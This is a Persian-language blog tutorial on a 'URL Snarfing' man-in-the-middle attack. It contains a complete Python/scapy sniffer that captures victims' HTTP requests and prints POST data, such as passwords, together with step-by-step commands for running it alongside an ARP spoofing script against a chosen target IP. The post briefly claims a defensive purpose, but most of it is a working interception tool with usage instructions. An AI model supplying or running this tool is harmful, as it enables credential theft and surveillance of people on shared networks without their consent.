-
چهارشنبه, ۲۳ تیر ۱۴۰۰، ۰۱:۳۲ ق.ظ
-
۸۷۵
سلام دوستان :)
توی این پست قراره با هم نحوه پیاده سازی حمله URL Snarfing در پایتون رو بببینیم.
شاید اول از خودتون بپرسین که اصلا URL Snarfing چی هست؟
URL Snarfing یک نوع حمله مرد میانی (MITM: Man in The Middle) هستش که قبلا این مبحث رو توی پست (ARP Spoofing در پایتون) توضیح دادم.
قبل از اینکه بریم سراغ ادامه مطلب بهتره که بدونیم اهمیت یادگیری این نوع حملات اینه که ما میتونیم آسیب پذیری های یک شبکه و سیستم حفاظت شده رو شناسایی کنیم و با پوشش این آسیب پذیری ها از هک شدن اون شبکه و سیستم جلوگیری کنیم.
پیش نیاز این پست این هستش که شما با ARP Spoofing آشنایی داشته باشین. ولی نگران نباشین! همینطور که گفتم من قبلا اونو توی پست (ARP Spoofing در پایتون) کامل توضیح دادم.
بعد از خوندن اون پست بهتره بریم سراغ مفهوم دقیق URL Snarfing.
کاری که توی حمله URL Snarfing انجام میشه تقریبا مثل همون کاریه که توی ARP Spoofing انجام میدادیم. فقط فرقی که داره اینه که به جای تمام packet ها، فقط packet های HTTP رو Sniff میکنیم و همونجا توی برنامه نمایش میدیم. خبر خوب اینه که برای جلوگیری از این حمله میتونین از همون اسکریپتی که توی پست (جلوگیری از ARP Spoofing) نوشتم استفاده کنین :))))
خب حالا که پست پیش نیاز رو خوندیم و فهمیدیم که URL Snarfing چی هست میتونیم بریم سراغ نصب پیش نیاز های این برنامه.
اول از همه باید ماژول های مورد نیاز رو نصب کنیم.
برای نصب scapy و پیش نیاز های اون میتونین به صفحه رسمی سایت scapy مراجعه کنین.
برای نصب colorama توی ویندوز برین توی cmd و دستور زیر رو وارد کنین:
pip install colorama
برای نصب colorama توی لینوکس برین توی terminal و دستور زیر رو وارد کنین:
sudo pip3 install colorama
توجه کنید که باید ip forwarding روی سیستمتون فعال باشه که باز هم آموزشش رو توی پست (ARP Spoofing در پایتون) دادم :)
خب بعد از نصب پیش نیاز ها بریم سراغ نوشتن برنامه؛
ما برای پیاده سازی این حمله از دو تا اسکریپت استفاده میکنیم یکی اسکریپتی که توی پست (ARP Spoofing در پایتون) نوشتیم و یکی هم اسکریپتی که الان قراره بنویسیم :)
خب بریم سراغ کد؛
سورس:
from scapy.all import * from scapy.layers.http import HTTPRequest # import HTTP packet from colorama import init, Fore # initialize colorama init() # define colors GREEN = Fore.GREEN RED = Fore.RED RESET = Fore.RESET def sniff_packets(iface=None): """ Sniff 80 port packets with `iface`, if None (default), then the scapy's default interface is used """ if iface: # port 80 for http (generally) # `process_packet` is the callback sniff(filter="port 80", prn=process_packet, iface=iface, store=False) else: # sniff with default interface sniff(filter="port 80", prn=process_packet, store=False) def process_packet(packet): """ This function is executed whenever a packet is sniffed """ if packet.haslayer(HTTPRequest): # if this packet is an HTTP Request # get the requested URL url = packet[HTTPRequest].Host.decode() + packet[HTTPRequest].Path.decode() # get the requester's IP Address ip = packet[IP].src # get the request method method = packet[HTTPRequest].Method.decode() print(f"\n{GREEN}[+] {ip} Requested {url} with {method}{RESET}") if show_raw and packet.haslayer(Raw) and method == "POST": # if show_raw flag is enabled, has raw data, and the requested method is "POST" # then show raw print(f"\n{RED}[*] Some useful Raw data: {packet[Raw].load}{RESET}") if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="HTTP Packet Sniffer, this is useful when you're a man in the middle." \ + "It is suggested that you run arp spoof before you use this script, otherwise it'll sniff your personal packets") parser.add_argument("-i", "--iface", help="Interface to use, default is scapy's default interface") parser.add_argument("--show-raw", dest="show_raw", action="store_true", help="Whether to print POST raw data, such as passwords, search queries, etc.") # parse arguments args = parser.parse_args() iface = args.iface show_raw = args.show_raw sniff_packets(iface)
توضیح: خب اکثر این توابع و دستورات رو قبلا توی پست (ARP Spoofing در پایتون) توضیح دادم و الان قسمت هایی که تغییر کرده رو میگم. یکی از قسمت های جدید تعریف تابع sniff_packets هست که میاد با استفاده از تابع sniff بسته های HTTP رو sniff میکنه. بعد تابع process_packet رو تعریف کردیم که در واقع همون callback تابع sniff هستش که توی تابع sniff_packets استفاده کردیم. توی تابع process_packets گفتیم که اگر بسته از توع HTTP بود بیاد یک سری اطلاعات مانند مسیری که بسته HTTP به سمتش می رفته ،نوع بسته و User Agent هدف (User Agent مشخص میکنه که کلاینت با چه دستگاه و چه مرورگری به سایت بسته فرستاده) رو داخل یک سری متغییر ذخیره کنه.
بعدش با استفاده از ماژول argparse اومدیم یک سری ورودی برای برنامه مون تعریف کردیم.
امیدوارم که متوجه شده باشین. در ضمن برای اینکه بهتر متوجه کد بشین میتونین توضیحاتی که توی خود برنامه دادم رو هم بخونین.
خب بریم سراغ اجرا کردن این برنامه.
برای اجرا کردن برنامه توی ویندوز یک cmd با دسترسی ادمین باز کنین و برین توی مسیر اسکریپت ARP Spoofing و کد زیر رو بزنین:
python arp_spoofing.py [target_ip] [router_ip] --verbose
توجه کنید که باید جای arp_spoofing.py اسم اسکریپت ARP Spoofing و جای target_ip آی پی هدفتون و جای router_ip آی پی روتر رو بذارین.
خب حالا اون پنجره رو باز بزارین و یک cmd دیگه با دسترسی ادمین باز کنین و برین توی مسیر اسکریپت URL Snarfing و کد زیر رو بزنین:
python url_snarfing.py -i [interface] --show-raw
توجه کنید که باید جای url_snarfing.py اسم اسکریپت URL Snarfing رو بزارین و جای interface باید اینترفیسی که میخواین روش شنود کنین رو بذارین.
برای لینوکس هم مثل همینه اول یک ترمینال باز کنین و دستور زیر رو وارد کنین:
sudo python3 arp_spoofing.py [target_ip] [router_ip] --verbose
توجه کنید که باید جای arp_spoofing.py اسم اسکریپت ARP Spoofing و جای target_ip آی پی هدفتون و جای router_ip آی پی روتر رو بذارین
حالا یک ترمینال دیگه باز کنین و دستور زیر رو وارد کنین:
sudo python3 url_snarfing.py -i [interface] --show-raw
توجه کنید که باید جای url_snarfing.py اسم اسکریپت URL Snarfing رو بزارین و جای interface باید اینترفیسی که میخواین روش شنود کنین رو بذارین.
خب حالا میتونین تمام بسته های HTTP که بین هدف و وبسایت ها رد و بدل میشه رو ببینین :)))
نکته: توجه کنید که این روش روی HTTPS جواب نمیده چون اطلاعاتی که با استفاده از پروتکل HTTPS تبادل میشن رمزنگاری شدن و شنود اونها هیچ فایده ای نداره.
امیدوارم براتون مفید بوده باشه D: